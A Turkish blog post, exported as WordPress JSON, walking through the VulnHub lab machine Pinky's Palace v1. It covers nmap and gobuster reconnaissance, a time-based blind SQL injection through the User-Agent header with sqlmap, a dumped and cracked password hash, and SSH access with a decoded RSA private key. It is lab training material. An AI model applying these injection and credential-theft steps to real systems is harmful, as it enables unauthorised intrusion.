{"id":1288,"date":"2021-07-01T16:22:23","date_gmt":"2021-07-01T16:22:23","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1288"},"modified":"2021-07-01T16:22:23","modified_gmt":"2021-07-01T16:22:23","slug":"pinkys-palace-v1","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/07\/01\/pinkys-palace-v1\/","title":{"rendered":"PINKY’S PALACE: V1"},"content":{"rendered":"

Makine Hakk\u0131nda Bilgiler<\/h2>\n

A\u00e7\u0131klama:<\/strong>
\nBox Info: Tested on VirtualBox using DHCP Host-only & Bridged Adapter types.<\/p>\n

File Type: OVA<\/p>\n

BACKGROUND:
\nPinky is creating his very own website! He has began setting up services and some simple web applications<\/p>\n

DESCRIPTION:
\nA realistic Boot2Root box. Gain access to the system and read the root.txt.
\nVulnhub Sayfas\u0131:<\/strong>
\nhttps:\/\/www.vulnhub.com\/entry\/pinkys-palace-v1,225\/<\/a><\/p>\n

\u0130ndirme Sayfas\u0131:<\/strong>
\nhttps:\/\/download.vulnhub.com\/pinkyspalace\/Pinkys-Palace.ova<\/a><\/p>\n

Walkthrough<\/h2>\n

Makineyi tespit ederek ba\u015flayal\u0131m.<\/p>\n

\n\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# arp-scan -l | grep 6c\n192.168.31.139  08:00:27:07:56:6c   PCS Systemtechnik GmbH\n\n\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# ifconfig eth0 \neth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500\n        inet 192.168.31.108  netmask 255.255.255.0  broadcast 192.168.31.255\n        inet6 fe80::a00:27ff:fe8b:5efb  prefixlen 64  scopeid 0x20<link>\n        ether 08:00:27:8b:5e:fb  txqueuelen 1000  (Ethernet)\n        RX packets 46354003  bytes 14459132968 (13.4 GiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 40685453  bytes 6501573458 (6.0 GiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n<\/code><\/pre>\n
nmap taramas\u0131 ile devam edelim.<\/p>\n
[*] Scan: 363\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-07-01 11:59 EDT\nNmap scan report for pinkys-palace (192.168.31.139)\nHost is up (0.00075s latency).\nNot shown: 65531 closed ports\nPORT      STATE SERVICE    VERSION\n5355\/tcp  open  llmnr?\n8080\/tcp  open  http       nginx 1.10.3\n|_http-server-header: nginx\/1.10.3\n|_http-title: 403 Forbidden\n31337\/tcp open  http-proxy Squid http proxy 3.5.23\n|_http-server-header: squid\/3.5.23\n|_http-title: ERROR: The requested URL could not be retrieved\n64666\/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)\n| ssh-hostkey: \n|   2048 df:02:12:4f:4c:6d:50:27:6a:84:e9:0e:5b:65:bf:a0 (RSA)\n|   256 0a:ad:aa:c7:16:f7:15:07:f0:a8:50:23:17:f3:1c:2e (ECDSA)\n|_  256 4a:2d:e5:d8:ee:69:61:55:bb:db:af:29:4e:54:52:2f (ED25519)\nMAC Address: 08:00:27:07:56:6C (Oracle VirtualBox virtual NIC)\nNo exact OS matches for host (If you know what OS is running on it, see https:\/\/nmap.org\/submit\/ ).\nTCP\/IP fingerprint:\nOS:SCAN(V=7.91%E=4%D=7\/1%OT=5355%CT=1%CU=31725%PV=Y%DS=1%DC=D%G=Y%M=080027%\nOS:TM=60DDE6F6%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10B%CI=I%II=I%TS=\nOS:8)SEQ(SP=106%GCD=1%ISR=10B%II=I%TS=8)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O\nOS:3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=\nOS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=N%T=1%W=7210%O=M5B4NNSNW\nOS:7%CC=Y%Q=)T1(R=Y%DF=N%T=1%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=\nOS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%\nOS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0\nOS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIP\nOS:CK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)\n\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.75 ms pinkys-palace (192.168.31.139)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 165.61 seconds\n<\/code><\/pre>\n
Bir proxy, http ve ssh g\u00f6r\u00fcyoruz. Burp'\u00fcm\u00fc Upstream Proxy Servers<\/strong> olarak ayarlad\u0131m ve incelemelerime oradan devam ettim. Ayr\u0131ca gobuster i\u00e7inde proxy ayarlar\u0131n\u0131 girdim. Di\u011fer t\u00fcrl\u00fc 80. porta ula\u015fam\u0131yordum. A\u015fa\u011f\u0131da gobuster \u00e7\u0131kt\u0131s\u0131 g\u00f6z\u00fckmektedir.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# gobuster dir --url http:\/\/127.0.0.1:8080  --follow-redirect --status-codes-blacklist "404" --no-error --threads 50 --wordlist \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-big.txt -x php,html,sql,zip,bak,sql,txt,php5,py,rar,7z,log,cgi --expanded  --add-slash --proxy http:\/\/192.168.31.139:31337\n\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/127.0.0.1:8080\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-big.txt\n[+] Negative Status codes:   404\n[+] Proxy:                   http:\/\/192.168.31.139:31337\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              txt,php5,7z,log,php,sql,zip,bak,py,rar,cgi,html\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 10s\n===============================================================\n2021\/07\/01 07:21:10 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/127.0.0.1:8080\/index.html           (Status: 200) [Size: 229]\nhttp:\/\/127.0.0.1:8080\/littlesecrets-main\/  (Status: 200) [Size: 583]\n<\/code><\/pre>\n
http:\/\/127.0.0.1:8080\/littlesecrets-main\/<\/a><\/strong> sayfas\u0131 bizim i\u00e7in ba\u015flang\u0131\u00e7 k\u0131sm\u0131.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# gobuster dir --url http:\/\/127.0.0.1:8080\/littlesecrets-main\/  --follow-redirect --status-codes-blacklist "404" --no-error --threads 50 --wordlist \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-big.txt -x php,html,sql,zip,bak,sql,txt,php5,py,rar,7z,log,cgi --expanded  --add-slash --proxy http:\/\/192.168.31.139:31337\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/127.0.0.1:8080\/littlesecrets-main\/\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-big.txt\n[+] Negative Status codes:   404\n[+] Proxy:                   http:\/\/192.168.31.139:31337\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              php5,7z,php,sql,zip,py,rar,log,cgi,html,bak,txt\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 10s\n===============================================================\n2021\/07\/01 07:48:24 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/127.0.0.1:8080\/littlesecrets-main\/index.html           (Status: 200) [Size: 583]\nhttp:\/\/127.0.0.1:8080\/littlesecrets-main\/login.php            (Status: 200) [Size: 68] \nhttp:\/\/127.0.0.1:8080\/littlesecrets-main\/logs.php             (Status: 200) [Size: 2641064]<\/code><\/pre>\n
Login sayfas\u0131na var ve burada sqli olabilece\u011fini d\u00fc\u015f\u00fcnd\u00fcm. log sayfas\u0131nda kullan\u0131c\u0131 ad\u0131, \u015fifre haricinde User Agent'\u0131nda kaydedildi\u011fi g\u00f6\u00f6rd\u00fcm yani bizim i\u00e7in potansiyel sqli hedefleri bunlar. \u0130ste\u011fi burp'le yakalad\u0131m ve sqlmap'e verdim.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# cat istek                                                                                                                                     \nPOST http:\/\/127.0.0.1:8080\/littlesecrets-main\/login.php HTTP\/1.1\nHost: 127.0.0.1:8080\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 21\nOrigin: http:\/\/127.0.0.1:8080\nConnection: close\nReferer: http:\/\/127.0.0.1:8080\/littlesecrets-main\/\nUpgrade-Insecure-Requests: 1\n\nuser=admin&pass=admin\n<\/code><\/pre>\n
sqlmap ile tablo okudum ve bu hashlerden pinkymanage<\/strong> kullan\u0131c\u0131s\u0131na ait olan\u0131 k\u0131rd\u0131m. (https:\/\/crackstation.net\/<\/a><\/strong>) sqlmap'in sadece son \u00e7\u0131kt\u0131s\u0131n\u0131 veriyorum.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# sqlmap -r istek --level=5 --risk=3 --dbs --proxy http:\/\/127.0.0.1:8080 --batch --dbms Mysql -p User-Agent,user -D pinky_sec_db -T users --dump\n        ___\n       __H__\n ___ ___[.]_____ ___ ___  {1.5.6#stable}\n|_ -| . [,]     | .'| . |\n|___|_  [,]_|_|_|__,|  _|\n      |_|V...       |_|   http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 09:38:58 \/2021-07-01\/\n\n[09:38:58] [INFO] parsing HTTP request from 'istek'\n[09:38:58] [INFO] testing connection to the target URL\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: User-Agent (User-Agent)\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0' AND (SELECT 3279 FROM (SELECT(SLEEP(5)))iUUQ) AND 'XVOt'='XVOt\n---\n[09:38:58] [INFO] testing MySQL\n[09:38:58] [INFO] confirming MySQL\n[09:38:58] [INFO] the back-end DBMS is MySQL\nweb application technology: Nginx 1.10.3\nback-end DBMS: MySQL >= 5.0.0 (MariaDB fork)\n[09:38:58] [INFO] fetching database names\n[09:38:58] [INFO] fetching number of databases\n[09:38:58] [INFO] resumed: 2\n[09:38:58] [INFO] resumed: information_schema\n[09:38:58] [INFO] resumed: pinky_sec_db\navailable databases [2]:\n[*] information_schema\n[*] pinky_sec_db\n\n[09:38:58] [INFO] fetching columns for table 'users' in database 'pinky_sec_db'\n[09:38:58] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)                                                                                                               \n[09:38:59] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions \ndo you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y\/n] Y\n[09:39:14] [INFO] adjusting time delay to 1 second due to good response times\n3\n[09:39:14] [INFO] retrieved: uid\n[09:39:24] [INFO] retrieved: user\n[09:39:37] [INFO] retrieved: pass\n[09:39:52] [INFO] fetching entries for table 'users' in database 'pinky_sec_db'\n[09:39:52] [INFO] fetching number of entries for table 'users' in database 'pinky_sec_db'\n[09:39:52] [INFO] retrieved: 2\n[09:39:54] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)                                                                                                      \npinky\n[09:40:14] [INFO] retrieved: f543dbfeaf238729831a321c7a68bee4\n[09:41:56] [INFO] retrieved: 1\n[09:41:58] [INFO] retrieved: pinkymanage\n[09:42:31] [INFO] retrieved: d60dffed7cc0d87e1f4a11aa06ca73af\n[09:44:23] [INFO] retrieved: 2\n[09:44:26] [INFO] recognized possible password hashes in column 'pass'\ndo you want to store hashes to a temporary file for eventual further processing with other tools [y\/N] N\ndo you want to crack them via a dictionary-based attack? [Y\/n\/q] Y\n[09:44:26] [INFO] using hash method 'md5_generic_passwd'\nwhat dictionary do you want to use?\n[1] default dictionary file '\/usr\/share\/sqlmap\/data\/txt\/wordlist.tx_' (press Enter)\n[2] custom dictionary file\n[3] file with list of dictionary files\n> 1\n[09:44:26] [INFO] using default dictionary\ndo you want to use common password suffixes? (slow!) [y\/N] N\n[09:44:26] [INFO] starting dictionary-based cracking (md5_generic_passwd)\n[09:44:26] [INFO] starting 2 processes \n[09:44:38] [WARNING] no clear password(s) found                                                                                                                                                                                              \nDatabase: pinky_sec_db\nTable: users\n[2 entries]\n+-----+----------------------------------+-------------+\n| uid | pass                             | user        |\n+-----+----------------------------------+-------------+\n| 1   | f543dbfeaf238729831a321c7a68bee4 | pinky       |\n| 2   | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage |\n+-----+----------------------------------+-------------+\n\n[09:44:38] [INFO] table 'pinky_sec_db.users' dumped to CSV file '\/root\/.local\/share\/sqlmap\/output\/127.0.0.1\/dump\/pinky_sec_db\/users.csv'\n[09:44:38] [INFO] fetched data logged to text files under '\/root\/.local\/share\/sqlmap\/output\/127.0.0.1'\n\n[*] ending @ 09:44:38 \/2021-07-01\/\n<\/code><\/pre>\n
d60dffed7cc0d87e1f4a11aa06ca73af:3pinkysaf33pinkysaf3<\/code><\/pre>\n
ssh ile i\u00e7eri girdim ve kontroller apmaya ba\u015flad\u0131m. Bu esnada a\u015fa\u011f\u0131daki sonu\u00e7lar\u0131 buldum.<\/p>\n
pinkymanage@pinkys-palace:\/var\/www\/html\/littlesecrets-main\/ultrasecretadminf1l35$ \npinkymanage@pinkys-palace:\/var\/www\/html\/littlesecrets-main\/ultrasecretadminf1l35$ pwd\n\/var\/www\/html\/littlesecrets-main\/ultrasecretadminf1l35\npinkymanage@pinkys-palace:\/var\/www\/html\/littlesecrets-main\/ultrasecretadminf1l35$ ls -al\ntotal 16\ndrwxr-xr-x 2 root root 4096 Feb  2  2018 .\ndrwxr-xr-x 3 root root 4096 Feb  2  2018 ..\n-rw-r--r-- 1 root root   99 Feb  2  2018 note.txt\n-rw-r--r-- 1 root root 2270 Feb  2  2018 .ultrasecret\npinkymanage@pinkys-palace:\/var\/www\/html\/littlesecrets-main\/ultrasecretadminf1l35$ cat note.txt \nHmm just in case I get locked out of my server I put this rsa key here.. Nobody will find it heh..\npinkymanage@pinkys-palace:\/var\/www\/html\/littlesecrets-main\/ultrasecretadminf1l35$ \npinkymanage@pinkys-palace:\/var\/www\/html\/littlesecrets-main\/ultrasecretadminf1l35$ \npinkymanage@pinkys-palace:\/var\/www\/html\/littlesecrets-main\/ultrasecretadminf1l35$ cat .ultrasecret \nLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBMTZmeEwzLyto\nL0lMVFpld2t2ZWtoSVExeWswb0xJK3kzTjRBSXRraGV6MTFJaGE4CkhjN0tPeC9MOWcyamQzSDhk\nR1BVZktLcjlzZXF0Zzk3WktBOTVTL3NiNHczUXRsMUFCdS9wVktaQmJHR3NIRy8KeUl2R0VQS1Mr\nQlNaNHN0TVc3SG54N2NpTXVod2Nad0xxWm1zeVN1bUVDVHVlUXN3TlBibElUbHJxb2xwWUY4eApl\nNDdFbDlwSHdld05XY0lybXFyYXhDSDVUQzdVaGpnR2FRd21XM3FIeXJTcXAvaksvY3RiMVpwblB2\nK0RDODMzCnUvVHlqbTZ6OFJhRFpHL2dSQklyTUduTmJnNHBaRmh0Z2JHVk9mN2ZlR3ZCRlI4QmlU\nKzdWRmZPN3lFdnlCeDkKZ3hyeVN4dTJaMGFPTThRUjZNR2FETWpZVW5COWFUWXV3OEdQNHdJREFR\nQUJBb0lCQUE2aUg3U0lhOTRQcDRLeApXMUx0cU9VeEQzRlZ3UGNkSFJidG5YYS80d3k0dzl6M1Mv\nWjkxSzBrWURPbkEwT1VvWHZJVmwvS3JmNkYxK2lZCnJsZktvOGlNY3UreXhRRXRQa291bDllQS9r\nOHJsNmNiWU5jYjNPbkRmQU9IYWxYQVU4TVpGRkF4OWdrY1NwejYKNkxPdWNOSUp1eS8zUVpOSEZo\nTlIrWVJDb0RLbkZuRUlMeFlMNVd6MnFwdFdNWUR1d3RtR3pPOTY4WWJMck9WMQpva1dONmdNaUVp\nNXFwckJoNWE4d0JSUVZhQnJMWVdnOFdlWGZXZmtHektveEtQRkt6aEk1ajQvRWt4TERKcXQzCkxB\nN0pSeG1Gbjc3L21idmFEVzhXWlgwZk9jUzh1Z3lSQkVOMFZwZG5GNmtsNnRmT1hLR2owZ2QrZ0Fp\ndzBUVlIKMkNCN1BzRUNnWUVBOElXM1pzS3RiQ2tSQnRGK1ZUQnE0SzQ2czdTaFc5QVo2K2JwYitk\nMU5SVDV4UkpHK0RzegpGM2NnNE4rMzluWWc4bUZ3c0Jobi9zemdWQk5XWm91V3JSTnJERXhIMHl1\nNkhPSjd6TFdRYXlVaFFKaUlQeHBjCm4vRWVkNlNyY3lTZnpnbW50T2liNGh5R2pGMC93bnRqTWM3\nM3h1QVZOdU84QTZXVytoZ1ZIS0VDZ1lFQTVZaVcKSzJ2YlZOQnFFQkNQK3hyQzVkSE9CSUVXdjg5\nQkZJbS9Gcy9lc2g4dUU1TG5qMTFlUCsxRVpoMkZLOTJReDlZdgp5MWJNc0FrZitwdEZVSkxjazFN\nMjBlZkFhU3ZPaHI1dWFqbnlxQ29mc1NVZktaYWE3blBRb3plcHFNS1hHTW95Ck1FRWVMT3c1NnNK\naFNwMFVkWHlhejlGUUFtdnpTWFVudW8xdCtnTUNnWUVBdWJ4NDJXa0NwU0M5WGtlT3lGaGcKWUdz\nTE45VUlPaTlrcFJBbk9seEIzYUQ2RkY0OTRkbE5aaFIvbGtnTTlzMVlPZlJYSWhWbTBaUUNzOHBQ\nRVZkQQpIeDE4ci8yRUJhV2h6a1p6bGF5ci9xR29vUXBwUkZtbUozajZyeWZCb21RbzUrSDYyVEE3\nbUl1d3Qxb1hMNmM2Ci9hNjNGcVBhbmcyVkZqZmNjL3IrNnFFQ2dZQStBenJmSEZLemhXTkNWOWN1\nZGpwMXNNdENPRVlYS0QxaStSd2gKWTZPODUrT2c4aTJSZEI1RWt5dkprdXdwdjhDZjNPUW93Wmlu\nYnErdkcwZ016c0M5Sk54SXRaNHNTK09PVCtDdwozbHNLeCthc0MyVng3UGlLdDh1RWJVTnZEck9Y\neFBqdVJJbU1oWDNZU1EvVUFzQkdSWlhsMDUwVUttb2VUSUtoClNoaU9WUUtCZ1FEc1M0MWltQ3hX\nMm1lNTQxdnR3QWFJcFE1bG81T1Z6RDJBOXRlRVBzVTZGMmg2WDdwV1I2SVgKQTlycExXbWJmeEdn\nSjBNVmh4Q2pwZVlnU0M4VXNkTXpOYTJBcGN3T1dRZWtORTRlTHRPN1p2MlNWRHI2Y0lyYwpIY2NF\nUCtNR00yZVVmQlBua2FQa2JDUHI3dG5xUGY4ZUpxaVFVa1dWaDJDbll6ZUFIcjVPbUE9PQotLS0t\nLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=<\/code><\/pre>\n
.ultrasecret<\/strong> dosyas\u0131 ile biraz oynad\u0131ktan sonra base64 ile decode ettim ve notun do\u011fru oldu\u011funu anlad\u0131m. Bu bir rsa key.<\/p>\n
-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEA16fxL3\/+h\n\/ILTZewkvekhIQ1yk0oLI+y3N4AItkhez11Iha8\nHc7KOx\/L9g2jd3H8d\nGPUfKKr9seqtg97ZKA95S\/sb4w3Qtl1ABu\/pVKZBbGGsHG\/\nyIvGEPKS+\nBSZ4stMW7Hnx7ciMuhwcZwLqZmsySumECTueQswNPblITlrqolpYF8x\ne\n47El9pHwewNWcIrmqraxCH5TC7UhjgGaQwmW3qHyrSqp\/jK\/ctb1ZpnPv\n+DC833\nu\/Tyjm6z8RaDZG\/gRBIrMGnNbg4pZFhtgbGVOf7feGvBFR8BiT\n+7VFfO7yEvyBx9\ngxrySxu2Z0aOM8QR6MGaDMjYUnB9aTYuw8GP4wIDAQ\nABAoIBAA6iH7SIa94Pp4Kx\nW1LtqOUxD3FVwPcdHRbtnXa\/4wy4w9z3S\/\nZ91K0kYDOnA0OUoXvIVl\/Krf6F1+iY\nrlfKo8iMcu+yxQEtPkoul9eA\/k\n8rl6cbYNcb3OnDfAOHalXAU8MZFFAx9gkcSpz6\n6LOucNIJuy\/3QZNHFh\nNR+YRCoDKnFnEILxYL5Wz2qptWMYDuwtmGzO968YbLrOV1\nokWN6gMiEi\n5qprBh5a8wBRQVaBrLYWg8WeXfWfkGzKoxKPFKzhI5j4\/EkxLDJqt3\nLA\n7JRxmFn77\/mbvaDW8WZX0fOcS8ugyRBEN0VpdnF6kl6tfOXKGj0gd+gAi\nw0TVR\n2CB7PsECgYEA8IW3ZsKtbCkRBtF+VTBq4K46s7ShW9AZ6+bpb+d\n1NRT5xRJG+Dsz\nF3cg4N+39nYg8mFwsBhn\/szgVBNWZouWrRNrDExH0yu\n6HOJ7zLWQayUhQJiIPxpc\nn\/Eed6SrcySfzgmntOib4hyGjF0\/wntjMc7\n3xuAVNuO8A6WW+hgVHKECgYEA5YiW\nK2vbVNBqEBCP+xrC5dHOBIEWv89\nBFIm\/Fs\/esh8uE5Lnj11eP+1EZh2FK92Qx9Yv\ny1bMsAkf+ptFUJLck1M\n20efAaSvOhr5uajnyqCofsSUfKZaa7nPQozepqMKXGMoy\nMEEeLOw56sJ\nhSp0UdXyaz9FQAmvzSXUnuo1t+gMCgYEAubx42WkCpSC9XkeOyFhg\nYGs\nLN9UIOi9kpRAnOlxB3aD6FF494dlNZhR\/lkgM9s1YOfRXIhVm0ZQCs8pP\nEVdA\nHx18r\/2EBaWhzkZzlayr\/qGooQppRFmmJ3j6ryfBomQo5+H62TA7\nmIuwt1oXL6c6\n\/a63FqPang2VFjfcc\/r+6qECgYA+AzrfHFKzhWNCV9cu\ndjp1sMtCOEYXKD1i+Rwh\nY6O85+Og8i2RdB5EkyvJkuwpv8Cf3OQowZin\nbq+vG0gMzsC9JNxItZ4sS+OOT+Cw\n3lsKx+asC2Vx7PiKt8uEbUNvDrOX\nxPjuRImMhX3YSQ\/UAsBGRZXl050UKmoeTIKh\nShiOVQKBgQDsS41imCxW\n2me541vtwAaIpQ5lo5OVzD2A9teEPsU6F2h6X7pWR6IX\nA9rpLWmbfxGg\nJ0MVhxCjpeYgSC8UsdMzNa2ApcwOWQekNE4eLtO7Zv2SVDr6cIrc\nHccE\nP+MGM2eUfBPnkaPkbCPr7tnqPf8eJqiQUkWVh2CnYzeAHr5OmA==\n----\n-END RSA PRIVATE KEY-----\n<\/code><\/pre>\n
Yukar\u0131daki dosyay\u0131 d\u00fczenledikten sonra a\u015fa\u011f\u0131daki sonucu elde ediyoruz ve ssh ile ba\u011flant\u0131 kurdum.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/prime series 1]\n\u2514\u2500# cat id      \n-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEA16fxL3\/+h\/ILTZewkvekhIQ1yk0oLI+y3N4AItkhez11Iha8\nHc7KOx\/L9g2jd3H8dGPUfKKr9seqtg97ZKA95S\/sb4w3Qtl1ABu\/pVKZBbGGsHG\/\nyIvGEPKS+BSZ4stMW7Hnx7ciMuhwcZwLqZmsySumECTueQswNPblITlrqolpYF8x\ne47El9pHwewNWcIrmqraxCH5TC7UhjgGaQwmW3qHyrSqp\/jK\/ctb1ZpnPv+DC833\nu\/Tyjm6z8RaDZG\/gRBIrMGnNbg4pZFhtgbGVOf7feGvBFR8BiT+7VFfO7yEvyBx9\ngxrySxu2Z0aOM8QR6MGaDMjYUnB9aTYuw8GP4wIDAQABAoIBAA6iH7SIa94Pp4Kx\nW1LtqOUxD3FVwPcdHRbtnXa\/4wy4w9z3S\/Z91K0kYDOnA0OUoXvIVl\/Krf6F1+iY\nrlfKo8iMcu+yxQEtPkoul9eA\/k8rl6cbYNcb3OnDfAOHalXAU8MZFFAx9gkcSpz6\n6LOucNIJuy\/3QZNHFhNR+YRCoDKnFnEILxYL5Wz2qptWMYDuwtmGzO968YbLrOV1\nokWN6gMiEi5qprBh5a8wBRQVaBrLYWg8WeXfWfkGzKoxKPFKzhI5j4\/EkxLDJqt3\nLA7JRxmFn77\/mbvaDW8WZX0fOcS8ugyRBEN0VpdnF6kl6tfOXKGj0gd+gAiw0TVR\n2CB7PsECgYEA8IW3ZsKtbCkRBtF+VTBq4K46s7ShW9AZ6+bpb+d1NRT5xRJG+Dsz\nF3cg4N+39nYg8mFwsBhn\/szgVBNWZouWrRNrDExH0yu6HOJ7zLWQayUhQJiIPxpc\nn\/Eed6SrcySfzgmntOib4hyGjF0\/wntjMc73xuAVNuO8A6WW+hgVHKECgYEA5YiW\nK2vbVNBqEBCP+xrC5dHOBIEWv89BFIm\/Fs\/esh8uE5Lnj11eP+1EZh2FK92Qx9Yv\ny1bMsAkf+ptFUJLck1M20efAaSvOhr5uajnyqCofsSUfKZaa7nPQozepqMKXGMoy\nMEEeLOw56sJhSp0UdXyaz9FQAmvzSXUnuo1t+gMCgYEAubx42WkCpSC9XkeOyFhg\nYGsLN9UIOi9kpRAnOlxB3aD6FF494dlNZhR\/lkgM9s1YOfRXIhVm0ZQCs8pPEVdA\nHx18r\/2EBaWhzkZzlayr\/qGooQppRFmmJ3j6ryfBomQo5+H62TA7mIuwt1oXL6c6\n\/a63FqPang2VFjfcc\/r+6qECgYA+AzrfHFKzhWNCV9cudjp1sMtCOEYXKD1i+Rwh\nY6O85+Og8i2RdB5EkyvJkuwpv8Cf3OQowZinbq+vG0gMzsC9JNxItZ4sS+OOT+Cw\n3lsKx+asC2Vx7PiKt8uEbUNvDrOXxPjuRImMhX3YSQ\/UAsBGRZXl050UKmoeTIKh\nShiOVQKBgQDsS41imCxW2me541vtwAaIpQ5lo5OVzD2A9teEPsU6F2h6X7pWR6IX\nA9rpLWmbfxGgJ0MVhxCjpeYgSC8UsdMzNa2ApcwOWQekNE4eLtO7Zv2SVDr6cIrc\nHccEP+MGM2eUfBPnkaPkbCPr7tnqPf8eJqiQUkWVh2CnYzeAHr5OmA==\n-----END RSA PRIVATE KEY-----\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/prime series 1]\n\u2514\u2500# chmod 600 id\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/prime series 1]\n\u2514\u2500# ssh root@192.168.31.139 -p 64666 -i id\nroot@192.168.31.139's password: \n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/prime series 1]\n\u2514\u2500# ssh pinky@192.168.31.139 -p 64666 -i id                                                                    130 \u2a2f\nLinux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64\n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: Fri Feb  2 05:54:01 2018 from 172.19.19.2\npinky@pinkys-palace:~$ \n<\/code><\/pre>\n
Bu noktada makineyi b\u0131rakt\u0131m \u00e7\u00fcnk\u00fc a\u015fa\u011f\u0131daki sonu\u00e7tan makinenin buffer overflow oldu\u011funu d\u00fc\u015f\u00fcnd\u00fcm.<\/p>\n
pinky@pinkys-palace:~$ pwd\n\/home\/pinky\npinky@pinkys-palace:~$ ls -al\ntotal 44\ndrwx------ 3 pinky pinky 4096 Feb  2  2018 .\ndrwxr-xr-x 4 root  root  4096 Feb  2  2018 ..\n-rwsr-xr-x 1 root  root  8880 Feb  2  2018 adminhelper\nlrwxrwxrwx 1 root  root     9 Feb  1  2018 .bash_history -> \/dev\/null\n-rw-r--r-- 1 pinky pinky  220 Jan 28  2018 .bash_logout\n-rw-r--r-- 1 pinky pinky 3526 Jan 28  2018 .bashrc\nlrwxrwxrwx 1 pinky pinky    9 Feb  1  2018 .mysql_history -> \/dev\/null\n-rw-r--r-- 1 root  root   280 Feb  2  2018 note.txt\n-rw-r--r-- 1 pinky pinky  675 Jan 28  2018 .profile\ndrwx------ 2 pinky pinky 4096 Feb  2  2018 .ssh\n-rw------- 1 pinky pinky 1815 Feb  2  2018 .viminfo\npinky@pinkys-palace:~$ strings adminhelper 